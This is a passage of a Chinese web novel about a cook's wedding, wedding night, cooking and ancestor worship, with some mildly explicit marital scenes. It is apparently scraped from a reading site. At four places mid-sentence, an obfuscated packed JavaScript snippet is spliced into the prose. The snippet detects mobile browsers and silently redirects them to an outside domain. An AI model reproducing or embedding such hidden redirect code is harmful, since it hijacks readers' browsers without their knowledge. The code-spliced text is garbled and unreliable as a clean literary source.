他悄悄在衣衫上蹭了蹭手心里的汗，才朝着苏月娘伸出手。 “月娘……我们走吧……” 苏月娘从盖头里瞧见那只朝自己伸出的大手，她当即毫不犹豫地握了上去。 两人十指紧扣，一看便知道两个人都急着要奔向新的日子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426195|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在边上看着的女眷顿时大笑出声。 “瞧瞧我们新娘子！急着出嫁呢！” “小手牵得这般紧！这得是多着急啊！” 既然心底的着急被人看穿，许东山索性也就不掩饰了，他紧牵着苏月娘的手，带着她大步流星地奔向堂屋。 林富贵看外甥女和外甥女婿这就出来了，不免“啧”了一声。 这么着急做什么！ 许东山与苏月娘互牵着彼此，在一早备好的软垫上跪下。 “阿舅阿妗，放心将月娘交给我吧，我一定不会叫她受半点委屈的！” “若有违背，我定跪着任阿舅阿妗杀剐！” 许东山跪得笔直，双目炯炯，一眼能望到真心。 许春喜趁机呈上了两盏茶水。 许东山取了茶，分别呈给了林富贵和张氏。 “若是阿舅和阿妗同意，喝过茶后，我就带着月娘走了……” 这话说得太过直白了，惹得一旁的林大松咬牙切齿地小声道： “这么着急走做什么？！又洞不了房！” 话音刚落，许春喜狠狠掐了林大松一把，“你以为谁都跟你一样脑子里只有那点事儿！” 就在林大松疼得五官扭曲直求饶的时候，林富贵和张氏喝下了许东山的敬茶。 苏月娘与许东山叩别了林富贵夫妇，在激昂热烈的喜乐声与客人们的起哄声中牵着手走出了林家的大门。 堂屋里的众人忙跟在后头出去送新娘。 铺在林家外的几排鞭炮同时被点燃，炸起的红炮皮一路跟随着走向骡子的新人飞扬。 这对新人走得飞快，急得连与跟在身边送嫁的亲朋寒暄几句都省了，用林大松那粗糙的阴阳怪气话来说，那就是这两人恨不得直接飞回去洞房了。 这话一说出，定免不了被许春喜一顿打。 —— 泉人自来有“娶妇以昏时”（1）的习俗，黄昏之时，迎亲队伍回到了凤池镇。 等候许久的许家亲朋早守在许家门口等着看拜堂了。 月娘小吃铺所在的巷子被亲朋们围得水泄不通，许东山和苏月娘险些挤不进去了。 为了迎接这一大喜日子，月娘小吃铺里外重新装点了一番。 就拿孤榻那儿来说，不仅贴了喜联、双喜，摆了两盆叶子绿油油，果子金灿灿的金桔大盆栽，屋角还挂了两顶又大又红的喜灯笼。 自外往里瞧，灯火昏黄，宾客说笑，处处透着一股热闹劲儿。 新人携手一齐跨过炭火盆，在一片喜气洋洋的喧闹之中走上台阶，步入堂屋。 招待客人的桌椅暂时搁置到了后院，只留一张摆放五粿三牲糕粿烛火的四方大桌放在正中。 许东山的爹娘已经都没了，高位上便只摆着夫妇俩的牌位。 充当喜娘的红姑满面红光地站在高位旁高声引导新人三拜。 一拜天地，愿天地昌顺，衣食无忧。 二拜高堂，愿父母保佑，日子和美。 夫妻对拜，愿相濡以沫，白头偕老。 三拜结束，红姑与几位女眷簇拥着苏月娘回了后屋，而那些叔伯弟兄拉着许东山出了门。 还等着给苏月娘掀盖头的许东山傻了眼。 普通人家可不讲究什么戌时末亥时掀盖头，怎么到自己这儿就不一样了？ 他可不需要这般讲究！ 55. 头家有喜 拜堂结束，厝边亲朋们纷纷聚到了祖厝院子里等着吃喜宴。 压根不用许东山帮忙招呼。 人差不多到齐之后，在帮忙出菜的叔婶便陆续往外送菜。 许东山和傧相兄弟们端着酒杯，四处敬酒。 自是从主桌先开始的。 满面喜气洋洋的刘昌已经坐在那儿了，见许东山过来忙端起酒杯，等着喝新郎官的敬酒。 许东山走到刘昌那边正准备敬酒，可定眼一瞧，知府大人周伯益竟坐在刘昌的身边！ 当时他与苏月娘只是出于礼貌拜托刘昌给周伯益送上一封喜帖，两人下意识觉得日理万机的知府大人并不会过来吃喜宴。 没想到，知府大人还真来了！ 刘昌笑了笑，稍稍错让了几分，“你看谁来了！” 今日周伯益并非以知府的身份过来的，就在许东山要对他行礼时，他忙抬手压住了许东山的肩膀。 “我也就是过来凑凑热闹，沾沾喜气！不用太过拘礼！祝你和月娘头家百年好合，生意兴隆！” 知府大人金口玉言，许东山心里感激，第一杯酒，便是敬了他。 第二杯才是敬刘昌。 同坐主桌的还有许二福和李金花两口子。 虽然许东山与他们关系恶劣，但无奈他们两人是凤池镇上与许东山亲缘最近的两人，这主桌他们是非坐不可的。 许二福正想端杯等着许东山给他单独敬酒，没想到许东山直接略过了他，直接向着主桌其他人统一敬酒。 许二福只能讪讪地从众喝了酒。 许东山离开主桌之后，李金花拉了拉许二福，低声问道： “对面那个脸生的是谁？他讲的是哪里的话？我怎么一句都听不懂？” 许二福摇了摇头。 李金花再次打量周伯益的穿着，“不过他穿得可不一般！也不知道许东山和苏月娘是从哪认识这种有钱人的！” 坐得较近的刘昌听见李金花的嘀咕，一个冷眼扫了过去。 李金花心里对在衙门做事的人到底有些犯怵，刘昌的一瞥，让她安分了下来。 …… 在场的都是老熟人，不必许东山热场，大家也都吃得好，聊得来。 虽说许东山平日里话不多，跟这些厝边亲朋们也不怎么打交道，但是大家伙都爱大喜日子里逗一逗新郎官。 有人打趣许东山先前嘴硬说苏月娘只是他的表妹，有人趁乱给许东山敬酒。 许东山听着那些揶揄与祝贺，心里头倒是挺美的，对旁人敬的酒，那是一杯也没有拒绝。 红姑安顿好苏月娘后匆匆赶来，见许东山被灌得双颊发红，她连忙去喊在一旁急头白脸地吃席的傧相们去给许东山换一壶掺了水的酒。 省得夜里许东山醉得洞不了房了。 —— 喝了兑水的酒的许东山便醉得没有那么深了。 等喜宴结束，送走了客人们，许东山也在几个本家弟兄们的陪同下走回了家。 走到了家门口，那几个弟兄还想跟着许东山进门去闹一闹洞房，怎知许东山不耐烦地瞪了一圈，自己进了门后，便把大门拴上了。 身边没了旁人跟着，许东山便加快了朝后屋走的脚步。 路过浴房，许东山想起了红姑的嘱托，需将自己捯饬地干干净净地再入洞房，不然会遭月娘的嫌弃。 于是许东山拐了个弯，进了浴房，脱下了喜服，就着凉水给自己擦洗了一番，并仔仔细细地洗了嘴，确保身上没有太多酒味了，才重新穿上喜服，往房里走。 每走一步，许东山就觉得心里有火在燎，他从今早睁眼便想着要看看他的新娘，奈何仪式太过繁琐，他硬生生地忍到这个时候，才得以去房里给他的新娘掀盖头。 …… 坐在新打好的喜床边的苏月娘还蒙在盖头里，听见“吱呀”开门声，她难掩心里的紧张，下意识双手紧握。 许东山在距离苏月娘还有三两步的地方停下了脚步。 他深吸了好几口气，做好了准备之后，才走上前去，轻轻捏住红盖头的下摆，慢慢地将红盖头卷上去。 红盖头被丢在了床上，许东山看见苏月娘笑意盈盈地望着他。 这一笑撞入了许东山的心里。 虽然苏月娘平日里也爱在脸上弄胭脂眉黛，但今日的她瞧着格外不同，到底是哪儿不同，许东山形容不上来，但看着这么一张漂亮的脸，他的心扑通扑通乱跳着。 “你来了呀……我等你很久了……”苏月娘握住许东山的手，邀他在床边坐下。 这还是两人头一回以夫妻的身份坐在一块儿。 许东山悄悄地在膝盖上擦了擦手，好半天不知道说点什么热热场子。 倒是苏月娘照顾着他，自己起身去端了两杯酒来，“把这酒喝了！” 许东山傻傻地点了点头，接过了苏月娘递过来的酒，顺着她的动作，与她两臂相交，仰头饮下这带了点甜味儿的合卺酒。 两个人都是不擅喝酒的，酒液刚入喉，两个人都不免将脸皱到了一块儿。 掀了盖头，喝完了合卺酒，事情也差不多做完了，接下来…… 苏月娘想起昨夜张氏教的那些夫妻事，不免红了脸。 她接过许东山的空酒杯，将一对酒杯放置在桌上，而后脱去了发髻上的簪钗与身上的首饰，最后吹灭了除了一对小臂长的龙凤喜烛外的所有烛火。 屋里顿时暗了下来，许东山只能依稀看清苏月娘泛红的颜容。 她又轻轻地坐回他的身边，只见她转向他，垂着眼，双手慢慢摸上许东山喜服最上头的一对盘扣。 “月……月娘……”许东山没想到苏月娘竟然主动开解自己的喜服，惊到一时说话犯结巴。 “怎么？不乐意吗？”苏月娘鼓起勇气抬眼看他，嫣红的唇紧紧抿在了一块儿。 许东山赶紧摇了摇头，“我……我很乐意……” 苏月娘噗嗤一笑，解完了第二对扣后，便放下了手。 许东山有些意外，“怎么不继续了？” “哪好做新娘的这么主动……” 既然新娘不好太主动，那就只能是新郎主动了…… 许东山煞有其事地清了清嗓子，慢慢地抬起有些抖的手想要解开她的喜服。 可手抬到了一半，他却握住了她的胳膊，俯身探了过去，吻住了她嫣红的唇。 唇上一软，紧接着带着点酒气的气息强势地侵袭过来，苏月娘仰着头接受着来自许东山的主动。 红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431711|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇微张，两片唇瓣被来回碾压吮吸，原本握在胳膊上的大手慢慢地上移，经过肩头，摸上衣襟。 不知吻了多久，两人双双倒在了铺了一层红色褥子的新床上。 一上，一下，气息不稳地看着对方。 昏黄视线中，苏月娘眼神羞怯，面红如霞，唇上一片水光，半褪的衣衫难以掩饰美好的春光。 “阿山……” 苏月娘的慢慢解开了许东山身上的喜服，结实火热的身躯展露在外。 许东山眼中的火熊熊燃烧，这一身火热还是得尽快散出去。 火热的身躯不断下压，在这寒冷的冬夜里，将滚烫的热意渡在苏月娘的肌肤上，两人紧紧拥在一起，双唇相贴，指掌游走，撩起一声又一声的轻喘。 接下来的一切都是顺理成章的。 一件又一件衣裳被胡乱抛到地上，暧昧火热的声息不绝于耳，这新做的结实大木床被许东山这体格一闹，竟然还晃了几晃。 屋内花烛烛火摇晃，不清不楚地在墙上映照出一对二起伏不歇的人影。 屋外万物宁静，正逢十五夜，天幕上的月娘当圆，一片皎洁的清辉遍洒黑暗的大地。 —— 天刚擦亮，龙凤喜烛烧尽了最后一丝灯芯，烛火熄在了一片烛油之中。 不习惯赖床的许东山从睡梦中醒来。 昨儿喝了酒，又勤奋地洞了大半夜的房，才一睁开眼，便又疲倦地闭了一会儿眼睛。 直到怀里的人翻了个身，许东山才再次睁开眼睛，抱着苏月娘，重重地亲了两口她泛着红粉的面颊。 累了大半夜的苏月娘并没有因为许东山的亲吻而醒来，她依旧合着双眼，睡得香甜。 许东山扬着嘴角，静静地看了苏月娘许久，听着她绵长的呼吸声，他的心里莫名觉得满足。 半年多以前他还是孑然一身的孤家寡人，如今他也有了妻子有了个家，这日子是越过越有奔头了。 看了好一会儿，许东山伸手从枕头底下翻出一个有些年头的锦盒，打开锦盒，里边是一只玉镯。 他取出玉镯，从被子里拉出苏月娘的手，小心翼翼地将玉镯套入了她的手腕中。 白皙的手腕被这么一只翠绿圆润的玉镯子套着，愈发显得无瑕光洁，好似一块上好的白玉。 许东山对着苏月娘怎么看都看不够，直到外头亮得彻底了，他才依依不舍地离开了暖和的被窝。 稍作清洗后，许东山穿着一身成亲前两日才做好的新衣去到堂屋。 堂屋里的喜桌尚未撤去，正中的一对儿耐烧的短烛至今还有一小点弱光。 许东山在堂屋里找见一张刘昌前两日写喜联剩下的红纸和一套笔墨砚，学着那些读书人一样磨了墨条，蘸了墨水，就只认识几个大字的厨子挥笔写下： 头家有喜，暂歇…… 许东山停了笔，思索了一番，究竟要歇息几日为好……短了不尽兴，长了又影响挣钱…… 最终又添上“若干日”三字后，许东山才满意地收了笔。 究竟要歇几日，还是得月娘头家说了算。 备了一小碗浆糊后，许东山将干透的红纸张贴在门扇上。 看着写得尤其大的“东家有喜”四个字，许东山尤其满意。 56. 鸡汤蛋包面线 苏月娘是被一阵炖鸡汤的香味儿馋醒的。 她迷糊地睁开眼，撑起有些酸痛的身子，四处瞧一瞧，见周遭眼生，她思索了好半天才想起来她和许东山成亲了，这是许东山的屋子。 此时，外头穿来一阵脚步声，苏月娘赶紧扯起被子，盖在了脑袋上。 许东山进门时，便看见被子鼓起了一个小包，包了红巾的枕头上留着几缕乌黑的长发。 眼见着都快正午了，许东山还是狠下心去打搅“睡的正香”的苏月娘。 苏月娘感觉到身边一沉，紧接着，许东山隔着一层被子将她抱住。 “月娘，该起了，吃了午饭我带你去祖厝祭祖。” 如此相拥，许东山身上的一部分重量散到苏月娘身上，昨夜那些迷乱的记忆重新回到了苏月娘的脑海里。 苏月娘含糊不清地应了一声。 许东山得了应允，从她头顶掀开了红被子，正好对上那一双睁得圆溜的美眸。 他笑了一声，“早就醒了？” 苏月娘又抓起被子，将自己遮得只剩下一双明亮的眼睛，一对弯月似的眉毛。 “你呢？你什么时候醒的？” “天亮就醒了。”许东山揉了揉她的发顶，“你赶紧收拾收拾，我再去准备点东西。” 许东山知道苏月娘是不好意思了，便没有在屋里久留。 看许东山走了，苏月娘才掀开被子坐了起来，一边张开双臂向后仰，一边张大嘴巴打了个豪迈的哈欠。 原先套在手腕头的玉镯子慢慢地滑了一截儿。 苏月娘疑惑地看向左手，她撩开轻薄的寝衣，猝然发现自己的胳膊上多了一只品相上佳的玉镯。 料想这镯子当是许东山趁着自己熟睡悄悄套上的，苏月娘一时止不住笑，卷着被子在床上扑腾了好几圈。 …… 在民间，新妇新婚第一日的头一顿吃食也没个定俗。 有人吃甜汤圆，有人吃甜蛋包，也有人吃面线。 许东山迟迟等不见苏月娘起床，便只能先炖上一只鸡，等着她起了，再给她下点面线就着吃一顿。 面线这东西没及时吃，就容易吸汤发绵，许东山便只能等着苏月娘在堂屋露了面再往汤里下面线。 今日不仅要带着苏月娘祭祖，还要给土地公和帝爷上香。 趁着苏月娘还没过来，许东山给土地和帝爷摆上贡品各上三支香，再坐在堂屋里折了几叠金纸。 粗砺的指腹在印了红图的黄色金纸上来回摩擦，几叠金纸被折成了卷册，指腹也被染成了红色。 将金纸丢入烧金桶里面，等到烧得七七八八了，许东山才回屋去操持别的事情。 一进屋，许东山便看见穿了一身新的刺绣红衣裳的苏月娘从房巷那儿走来。 今日的她看着格外不同。 好似从前散在身后的发，今日全然挽成了发髻，发髻上还簪着两支银发钗。 一对视上，苏月娘冲许东山笑得灿烂，眼里的情意都溢了出来。 “我……我去下面线……” 这下换许东山不好意思了。 高大的男人低着头，匆匆走入厨房，取鸡蛋抓面线，往小锅里倒上一大碗炖得清黄的浓郁鸡汤。 苏月娘可不会就这么放过他，她追随着他进到厨房，在他要敲鸡蛋时，猝不及防地从他身后抱住他。 许东山手一抖，险些将鸡蛋整颗丢进锅里。 “去外面等着，我马上煮好。” “不要不要……我就在这儿陪你说说话。” 许东山稳了稳心神，到底是没有再哄苏月娘出去。 面线自带有点咸味，许东山便没有给鸡汤调味。 小锅里没有调味的鸡汤已经加热到沸腾了，许东山在石板上磕了两颗鸡蛋入锅，紧接着剪掉面线上的红绳，放到另一口留了点沸水的锅中煮。 苏月娘歪着脑袋，看许东山有条不紊地煮面线，“以后店里卖的东西会越来越多，还好前两个月让砌墙的帮忙多砌了两个小灶。” 虽然多砌了两个小灶后，厨房便没有从前那般宽敞了，但却方便了许东山同时管两个锅。 苏月娘转了转手腕，那只玉镯子在她手腕上晃动，瞧着很是喜人。 “这镯子哪来的？还怪好看的。” 许东山垂眸看了一眼，“这是我娘留下来的。” “这镯子看着不便宜，我若是戴着干活，怕是会不慎碰碎了。” 许东山捏了捏她的手，轻声道：“喜欢戴就戴着，家里、店里的事情由我来做。” 苏月娘美滋滋地应了一声。 她倒是不怀疑这话，毕竟成亲之前，她犯懒时会将擦桌洗碗的事情都交给许东山去做，而许东山不仅毫无怨言，还做得又快又好。 面线不需煮太久，七.八息时间足够细如发丝的面线煮软。 另一锅中的两个蛋包已经定了型，许东山便从混浊的白色面线汤中捞出面线放在鸡汤锅里，再加上一只鸡腿、一只鸡翅和一个鸡胗稍稍加热，最后撒上几枚橘红色的枸杞做点缀。 “我要倒面线了，你让开点，小心烫到。”许东山拍了拍环在自己腰身上的胳膊。 苏月娘这才松开了许东山。 许东山取了两块抹布垫在小锅两侧，将滚烫的鸡汤蛋包面线倒入了一旁的小盆中。 苏月娘两顿没吃了，看着那一碗飘着黄色油花、有蛋有肉的鸡汤面线，五脏庙忽然叫嚣了起来。 许东山端着那盆面线走出厨房，放在堂屋的桌子上，并抽出攥在手心里的筷子与调羹摆上。 “趁热吃了。” 苏月娘点点头，等许东山走开后，便坐下开始吃今日的头一顿。 这鸡汤蛋包面线还呼呼冒着热汽，若是莽然地吃上一口必然会从嘴一路烫到肚子里。 苏月娘右手夹起一小缕面线晾凉，左手舀起一勺醇香的油鸡汤轻轻吹了几下，嘴唇一抿，温度适宜便一口喝下。 温热的一勺清鸡汤可谓是滋味丰富，不仅有老母鸡的精华，老姜母、料酒、菌菇的味道更是恰到好处地融入其中。 这些配味完美地化解了鸡汤的油腻。 苏月娘再舀半勺汤，将晾凉的一小缕面线放入勺子中就着吃。 平日里，面线多掰碎了用来做面线糊，苏月娘鲜少能吃上完整的面线。 当然，与掰碎了煮、入口后几乎没有什么感觉的面线相比，完整的面线一入口便能感觉到裹满鸡汤的顺滑，用力一嘬，还算有韧性的面线便被拦腰掐断。 等许东山入座吃饭时，苏月娘还慢吞吞地咬着除了蛋白外没有任何滋味的蛋包。 许东山吃得倒是朴素，除了那一盆鸡汤以外，就只有一海碗白米饭。 “怎么不多炒两个菜做配？就白米饭配鸡汤？” 许东山从鸡汤里翻出另一只鸡腿放在苏月娘碗里，“有鸡汤和鸡肉就够了。” “那你多吃个蛋包吧！”这蛋包没什么滋味，吃了又噎，苏月娘索性扎起没动过的那个蛋包放到许东山的碗里。 “特地煮来给你补身体的，你……” 许东山刚想将蛋包夹回去，苏月娘赶忙捂着她的小盆，“那我也不吃！这蛋包没滋没味的，一点都不好吃！” 既然如此，许东山也就接受了苏月娘送来的蛋包。 许东山今早光忙着准备祭祖的供品和炖鸡汤了，到现在也才吃今天的第一顿饭。 香醇的鸡汤拌在饭里，再剔上几块鸡肉混在里头，筷子也用不上了，调羹一舀，也就成了许东山简单的一餐。 两人一边聊着点闲话，一边进食，头头尾尾吃了两刻钟才结束午饭。 许东山煮的鸡汤蛋包面线份量可不少，苏月娘将那一小盆一扫而空后便靠在许东山身上，摸着圆滚滚的小肚子，长长地吐了一口气。 “好饱……” “等我洗完碗，咱们出发去祖厝，正好当消食了。” 苏月娘又犯了懒，靠在许东山身上一动不动，“身上酸得很，让我多靠一会儿。” 许东山就这么坐着任苏月娘依靠，时不时替她捏捏肩膀与胳膊。 苏月娘肩膀与胳膊压根就不酸，被许东山这么一捏，这两处倒是痒了起来。 她扭着身子咯咯笑着，“你别捏我了！快去洗碗！” 许东山不懂苏月娘为什么一会儿让自己留着，一会儿又赶着自己走，但他向来听话，扫了骨头，端着碗就走了。 —— 祭祖要准备的东西可不少，吃食、香烛和金纸满满当当地装了两大担子。 许东山取来扁担，穿在两个打担子中间，而后架在肩头稳稳地挑起。 这还是两个人成亲后第一次出门，情形自是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436563|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比不得往先。 刚走出家门，就碰见对门坐在门口纳鞋底的林阿婆。 林阿婆冲小两口笑了笑，打趣道：“你们两个怎么这个时候才去祖厝？是不是昨晚累坏了？” 苏月娘面上一红，“……” 两口子都还年轻，不知道怎么回话，得逞了的林阿婆对小两口摆摆手： “你们两个快去吧！早去早回，回来接着回屋里干活！” 林阿婆语出惊人，苏月娘羞得赶紧拉上许东山跑出了巷子。 这样一来，林阿婆笑得更大声了。 这对刚成了亲的小两口被闹了一顿，可不敢靠太近了，两个人离了半人的距离各自走着。 可即便如此，也有眼尖的厝边特意说笑一顿。 就连刚卖完豆花的阿莲看见两人，都免不得对苏月娘说两句俏皮话。 就连比许东山岁数小的熟人见了苏月娘，都喊苏月娘一声“阿山嫂”。 被人看了一路，小两口总算到了祖厝。 好在祖厝平日里基本不会有人过来，苏月娘才在空旷的院落里松了一口气。 “他们平日里看着都挺正经的，怎么今天说的话这么荤呢！”苏月娘用力拍了拍跟火烧似的红面颊。 “也就这两年成亲的人才慢慢多起来，大家都想沾沾喜气，图个热闹……” 两人一边说着，一边踏入祖厝大门之内。 这还是苏月娘头一回进到祖厝内里，隔着偌大天井朝着大堂里望去，一片牌位。 听说许东山的辈分在许家里不算小，这里应该有许东山长辈的位置。 走过天井，正式上了祖厝的大堂屋，小两口一起在昨日擦得锃亮的供桌上摆好了供品，点了香烛。 两人挨在一起，高举三支香，跪拜满堂先祖。 两人默默地在心里念叨着一些让先祖们多多保佑的话，跪了一会儿后，便站了起来，将香插入香炉里。 说是祭祖，其实也就是带新妇过来给许家的长辈们过过脸，正经要做的事情，其实与初一十五初二十六在家拜拜差不多。 插了香、折金烧金过后，便算结束了。 但立即离开，到底显得有些不太虔诚了，两口子愣是待到香炉里的六支香都烧到底了，才收起供品离开。 在挑担之前，许东山还从顶上摸了一颗红彤彤的柿子出来，撕了皮递给苏月娘。 “冬至马上到了，吃了柿子就不会脸皮皱了。” 刚刚走了一路还在这儿坐了许久，苏月娘的肚子也不似才吃完那会儿那般饱足了。 她接过柿子，咬上一大口。 这熟透的红柿子又甜又软，经络极少，入口即化。 “这柿子好甜……” “担子里还有几颗，要吃还有。” 苏月娘又咬了一大口柿子肉，才将吃了一半的柿子朝着许东山递过去。 “阿山，你也尝尝！” 这称呼可比许大哥好听多了。 许东山稍稍低头，咬了一小口。 这柿子果真甜，都甜到心里去了。 …… 小两口原路返回，一路与厝边头尾聊着回去，已经慢慢接受了大家说笑的苏月娘比方才坦然了不少。 走至巷口，巷口那儿被一辆拉车堵着，拉车上还放了一块跟招牌似的木板。 李金花站在稍里面的地方，指挥着许二福往里拉车。 两口子走近了些，发现招牌上的五个大字赫然就是“许氏面线糊”。 苏月娘下意识看向了许东山。 李金花也看到了站在巷口静静地看着那块招牌的许东山。 她笑道：“许氏面线糊的招牌是你阿公往下传的，现在你都跟苏月娘单开月娘小吃铺了，所以我就将这名头拿来用，你没意见吧？” 许东山，“随便你。” “可不是我说你，许氏面线糊可是响亮了几十年的老招牌，但凡你们两口子用这老招牌，生意都能再好上一大截！可惜啊……要不然我大度一些，让你们也用这招牌？” 许二福一听李金花挑拨起了才刚成亲的小两口，便开口打圆场。 “诶……别听你二婶胡说八道！” 许东山抬头看向自家门口那张“月娘小吃铺”的招牌，倒是笑了一声： “月娘小吃铺很好……绝不会比许氏面线糊差。” 57. 海蛎煎 等李金花许二福将招牌运走，小两口才得以入巷回家。 回到屋里，苏月娘帮着许东山将沉重的担子卸了下来，并立即翻开没用完的香烛，取出那一盘柿子，送到后院去清洗。 等苏月娘嘴上叼着一颗柿子走出来时，许东山已经将两个担子里的东西分了出来。 水果、糕点摆在堂屋的喜桌上以便苏月娘嘴馋了能随时拿到，卤制过的三牲、酒存放在厨房里，以免被老鼠偷食。 苏月娘叼着柿子，给许东山撕了一颗柿子的皮，还贴心地送到他的嘴边。 “你吃了这颗，可就不许再吃了，其他的都归我！” 许东山失笑，“明天早上再上街给你买上几斤。” 苏月娘汲着柿子清甜的汁水，笑弯了眼睛，“要个头大的，柿子肉又水又软的！” “好。” 夫妻俩都沉浸在了柿子的清甜与水润之中，堂屋里只剩下嘬柿子的声音。 苏月娘先许东山一步吃完柿子后，顺手将柿子皮与柿子籽丢到许东山手里。 “我有些困了，我先回屋歇息了……你随意！” 苏月娘原还想着喊许东山一起回屋歇息，但昨日才做了夫妻，今日就喊着人家一起去睡觉，这到底是容易让人想歪。 看着苏月娘飘忽的眼神，许东山还真想歪了。 看着苏月娘的身影消失在房巷那儿，许东山一口将余下的柿子吃了，快步将柿子皮与柿子籽丢入泔水桶里，仔仔细细地搓了手上的柿子汁水后，便大步流星地追着苏月娘回去了。 屋里，苏月娘刚铺好了被子，正将新衣衫解了一半，许东山便急哄哄地推开了房门。 苏月娘赶忙合起解了一半的衣衫。 可当许东山的脚步一踏入房里，他又立即变得一本正经了起来。 “你……” “我……” 最后还是许东山不自在地揉了揉鼻子，“我也困……我也回来睡一觉！” 苏月娘没再搭理他，只是背过身去，慢吞吞地解着红袄子的盘扣。 另一边的许东山三下两下脱了上衣与外裤，坐在床上盯着磨磨蹭蹭地脱袄子的苏月娘。 好半天，苏月娘将袄子搁在小桌上，刚一坐下，许东山便从身后抱了过来。 苏月娘一惊，环在自己腰身上的胳膊猛然一缩紧，她只着一层轻薄寝衣的后背便与许东山温暖的身躯严丝合缝地贴在了一起。 “歇息就歇息……抱我做什么……” 许东山与苏月娘贴得极近，火热的吐息尽数洒落在苏月娘的后颈上，惹得她半分不敢动弹。 “你说的……随便我……” 苏月娘尚未来得及做出回应，脑后的发髻便随着发钗的抽出而松散开来，乖顺地滑落在了肩前。 “哐……”许东山一抛，那支银发钗便轻轻落在小桌上。 随之，一阵天翻地转，苏月娘已然躺在了红被上，身子两侧是许东山稳稳撑着的胳膊。 “这大白日的……” 苏月娘咬着唇，两手紧紧抵在许东山的腰侧，可这到底奈不了许东山如何，许东山大手一张，便将两只手攥住。 “家里只有我们两个……”许东山眼里的火都旺得快要喷涌出来了。 苏月娘，“……” …… 娇怯推就之间倒也是成了事。 年轻力壮的厨子精力旺盛，一直闹到了太阳快落山了，屋里才安静下来。 苏月娘昏昏欲睡地趴在许东山身上，与他一起喘息着。 “饿不饿？我去弄点吃的？”许东山拉了拉被子，将苏月娘包得严实了一些。 “还不饿……”苏月娘往边上一倒，美美地裹着被子打算入眠了。 许东山凑过去抱她，时不时跟蜻蜓点水一样亲吻着她的面庞。 “那你想吃什么？我先准备着。” 疲倦得很的苏月娘被许东山吻得烦躁，她推开许东山的脸，皱着脸，嘟囔道：“随你随你！” 许东山不再吵她了，便自己躺在一旁平一平还有些紊乱的气息。 天暗了，许东山坐了起来，四处找衣裳穿。 刚才闹得上头，上衣裤子这儿丢一件，那儿丢一件，再加上两人在这床上滚来滚去挪来挪去的，许东山找衣裳找得那叫一个费劲。 好不容易找齐了衣裳，许东山摸着黑翻着衣裳往身上套。 猝不及防地，他听见了苏月娘的声音： “你真的不遗憾你家的老招牌断在你手上吗？” 原以为这一茬随着两人进了屋，就结束在了外头，没想到过了这么久还会被提起。 黑暗里，许东山叹了气。 苏月娘裹在被里，听着这一声叹息，心一下子提了起来。 “说不遗憾是不可能的。” “可我的确没有能力撑起我家的店。” “我的手艺能再被人看见，都是你的功劳……” “如果可以的话，我希望月娘小吃铺能一直开下去，你在堂屋招呼客人，我在厨房掌勺……” “这样……也就足够了……” 一吻轻轻地落在苏月娘的头发上。 “我去给你弄点热水擦擦身子，擦完了再睡。” 许东山离了床榻，苏月娘翻了个身，安心地睡下了。 —— 入了夜，屋舍巷陌寂静。 这个时辰，家里头没灯的厝边大多已经入睡了。 昨日办礼，家里还剩了支蜡烛，许东山点了一支半截的，安在烛台里端到厨房里照明。 这几日成亲、祭祖备了不少硬菜，若是要做来吃，怕是得费一番功夫。 现下不早了，凡事简便为主。 中午还剩下一碗鸡汤，两个人喝怕是不够，许东山索性又添上些水，倒了米、另添了香菇、干贝下去煮成粥。 光有粥也填不饱肚子，许东山找了一番，还真让他翻到了一碗去了壳的海蛎。 这海蛎是早上买的。 原想着要煎一碗海蛎煎去祭祖的，没想到还没做完海蛎煎，便凑够了其他几样更硬的菜，所以这海蛎就被遗忘在了角落里。 好在现在天气凉，这海蛎又泡在盐水里，倒不至于坏掉。 倒掉盐水，许东山往海蛎里加了半勺地瓜粉、半碗清水，徒手抓捏着滑溜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443892|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溜的海蛎，等到海蛎表面的粘液差不多被搓下来了，才倒掉浑浊的地瓜粉水，重新淘洗一遍。 海蛎煎的精髓除了海蛎的鲜之外，当属蒜小段的增味，蒜段越多，海蛎越香。 